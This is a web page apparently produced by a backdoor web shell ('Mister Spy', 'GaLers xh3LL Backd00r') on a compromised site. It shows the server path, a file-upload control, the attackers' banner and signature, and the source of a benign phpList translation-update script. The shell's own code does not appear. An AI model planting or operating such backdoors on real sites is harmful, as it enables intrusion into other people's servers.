Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/phplist/lists/admin/actions/
Upload File :
Current File : /home/caballoscriollos/public_html/phplist/lists/admin/actions/updatetranslation.php

<?php

#updatetranslation
#sleep(20);
$lan = '';
if (isset($_GET['lan'])) {
  $lan = $_GET['lan'];
  $lan = preg_replace('/[^\w_]/','',$lan);
}
$LU = getTranslationUpdates();
if (!$LU || !is_object($LU)) {
  print Error(s('Unable to fetch list of languages, please check your network or try again later'));
  return;
}

$translations = array();
foreach ($LU->translation as $update) {
  if ($update->iso == $lan) {
  #  $status = $update->updateurl;
    $translationUpdate = fetchUrl($update->updateurl);
    $translations = parsePo($translationUpdate);
  }
}

$status = '';
if (sizeof($translations)) {
  $I18N->updateDBtranslations($translations,time());
  $status = sprintf(s('updated %d language terms'),sizeof($translations));
} else {
  $status = Error(s('Network error updating language, please try again later'));
}

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat